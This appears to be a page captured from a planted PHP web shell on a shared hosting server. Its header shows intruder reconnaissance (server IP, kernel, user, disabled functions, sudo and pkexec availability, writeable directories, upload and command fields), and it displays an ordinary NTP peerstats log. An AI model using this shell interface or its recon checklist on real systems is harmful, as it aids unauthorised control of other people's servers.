403Webshell
Server IP : 162.241.24.140  /  Your IP : 216.73.217.86
Web Server : Apache
System : Linux box5876.bluehost.com 5.14.0-687.12.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jun 7 14:39:27 EDT 2026 x86_64
User : ahfcompk ( 3063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/ntpstats/peerstats.20190805
58700 885.005 192.185.0.113 963a -0.000076010 0.000331971 0.015306686 0.001113918
58700 1913.057 192.185.0.113 963a 0.000195864 0.000221046 0.015086314 0.000817829
58700 4004.007 192.185.0.113 963a 0.000709045 0.000308858 0.015060006 0.000528945
58700 5080.994 192.185.0.113 963a 0.000943782 0.000250483 0.015329830 0.000611876
58700 6142.980 192.185.0.113 963a 0.000854698 0.000148670 0.015352915 0.000531100
58700 8269.990 192.185.0.113 963a -0.000218777 0.000322617 0.015379049 0.000763710
58700 10380.023 192.185.0.113 963a -0.001290875 0.000212955 0.015250552 0.001693231
58700 12483.969 192.185.0.113 963a -0.001168143 0.000259758 0.019046673 0.001329919
58700 13535.005 192.185.0.113 963a -0.000704877 0.000187051 0.015186809 0.000924196
58700 15654.013 192.185.0.113 963a -0.000458123 0.000191381 0.019260241 0.000808787
58700 16696.967 192.185.0.113 963a 0.000228133 0.000246603 0.019102741 0.001307557
58700 17727.050 192.185.0.113 963a 0.000523813 0.000258503 0.015044830 0.001496397
58700 18758.001 192.185.0.113 963a 0.000562552 0.000160993 0.014979321 0.001359094
58700 20853.056 192.185.0.113 963a 0.000331956 0.000213553 0.015158794 0.000508113
58700 22963.990 192.185.0.113 963a 0.000807316 0.000379795 0.018986843 0.000390231
58700 24049.012 192.185.0.113 963a 0.000630215 0.000342696 0.015429499 0.000216798
58700 25095.966 192.185.0.113 963a 0.000996765 0.000220746 0.015290572 0.000453338
58700 27228.999 192.185.0.113 963a 0.001911376 0.000247139 0.015415377 0.001177480
58700 28254.017 192.185.0.113 963a 0.001770507 0.000204364 0.015117369 0.000902166
58700 30369.003 192.185.0.113 963a 0.002034205 0.000222819 0.019145921 0.005758187
58700 31436.960 192.185.0.113 963a 0.001499599 0.000213873 0.015340433 0.005519007
58700 32491.054 192.185.0.113 963a 0.000753578 0.000175489 0.016278608 0.005290074
58700 34609.012 192.185.0.113 963a -0.000853754 0.000177557 0.015644309 0.005074911
58700 36755.999 192.185.0.113 963a -0.001184663 0.000186966 0.019589831 0.004834632
58700 37806.974 192.185.0.113 963a -0.001685285 0.000238977 0.019296818 0.004665587
58700 38874.958 192.185.0.113 963a -0.001399521 0.000164926 0.015407362 0.001691586
58700 40977.020 192.185.0.113 963a -0.000667316 0.000190315 0.019385282 0.001255395
58700 42038.990 192.185.0.113 963a 0.000193815 0.000159363 0.015359772 0.001869516
58700 44190.994 192.185.0.113 963a 0.000462143 0.000245222 0.015538892 0.001946007
58700 46298.973 192.185.0.113 963a -0.001058608 0.000277263 0.015334156 0.001654314
58700 47350.020 192.185.0.113 963a -0.000783919 0.000266298 0.015270557 0.001626677
58700 48437.040 192.185.0.113 963a -0.000511788 0.000162631 0.015505915 0.001651856
58700 50551.995 192.185.0.113 963a 0.000060683 0.000247785 0.015324676 0.001857098
58700 52685.970 192.185.0.113 963a 0.000929241 0.000248114 0.015365865 0.002443386
58700 53741.032 192.185.0.113 963a 0.001249138 0.000243222 0.015315591 0.001570758
58700 55902.975 192.185.0.113 963a 0.000864062 0.000274583 0.015574810 0.000790038
58700 58070.057 192.185.0.113 963a 0.001524757 0.000188077 0.015653677 0.000802526
58700 61190.057 192.185.0.113 963a 0.000738980 0.000233666 0.015266900 0.000408601
58700 62257.057 192.185.0.113 963a 0.000335001 0.000200659 0.015355259 0.000707789
58700 63325.048 192.185.0.113 963a -0.000926352 0.000159531 0.015407231 0.001866494
58700 65401.965 192.185.0.113 963a -0.002289957 0.000138625 0.015105824 0.002756309
58700 67505.029 192.185.0.113 963a -0.002429914 0.000180680 0.019024868 0.002106684
58700 68587.031 192.185.0.113 963a -0.002247719 0.000202544 0.019460805 0.001623864
58700 69659.022 192.185.0.113 963a -0.001543233 0.000208220 0.019482192 0.000927739
58700 70732.002 192.185.0.113 963a -0.000815534 0.000166132 0.015498930 0.001059386
58700 72789.958 192.185.0.113 963a 0.000540559 0.000183122 0.022413586 0.023316374
58700 74918.989 192.185.0.113 963a 0.001070024 0.000211647 0.020780755 0.023494271
58700 75945.050 192.185.0.113 963a 0.001340804 0.000268414 0.015718373 0.023575292
58700 76972.015 192.185.0.113 963a 0.001025482 0.000258933 0.015192962 0.023422380
58700 79072.057 192.185.0.113 963a 0.001868616 0.000256462 0.015223079 0.023727557
58700 81188.959 192.185.0.113 963a 0.001504698 0.000203488 0.015330709 0.000289413
58700 82243.990 192.185.0.113 963a 0.001006745 0.000197269 0.015301704 0.000507972
58700 84323.990 192.185.0.113 963a -0.000158102 0.000316639 0.019023100 0.009337572

Youez - 2016 - github.com/yon3zu
LinuXploit